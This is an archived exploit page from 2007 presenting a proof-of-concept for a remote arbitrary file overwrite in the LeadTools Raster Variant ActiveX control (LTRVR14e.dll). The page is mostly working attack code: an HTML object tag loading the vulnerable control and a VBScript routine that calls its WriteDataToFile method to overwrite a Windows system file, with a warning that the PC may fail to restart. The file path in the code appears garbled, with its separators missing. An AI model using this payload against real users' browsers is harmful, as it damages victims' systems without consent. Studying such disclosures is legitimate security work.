exploits , vulnerabilities , articles , LeadTools Raster Variant (LTRVR14e.dll) Remote File Overwrite Exploit

Rated as : Moderate Risk

<pre>
<span style="font: 14pt Courier New;"><p
align="center"><b>2007/05/21</b></p></span>
<code><span style="font: 10pt Courier New;"><span
class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>LeadTools Raster Variant Object Library (LTRVR14e.dll v.
14.5.0.44) Remote Arbitrary File Overwrite</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE
THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT
RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer
7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------

<object classid='clsid:00140B9B-B1BA-11CE-ABC6-F5B2E79D9E3F'
id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click
here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at
your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage."
& vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE
SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT
RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS
EXPLOIT?",4)=vbYes) Then
    test.WriteDataToFile "c:windowssystem_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf &
"It's overwritten.", 64,"2007/05/21 - LeadTools Raster
Variant Object Library")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 -
LeadTools Raster Variant Object Library")
   End If 
 End Sub
</script>
</span></span>
</code></pre>
securitydot.net - 2007-05-22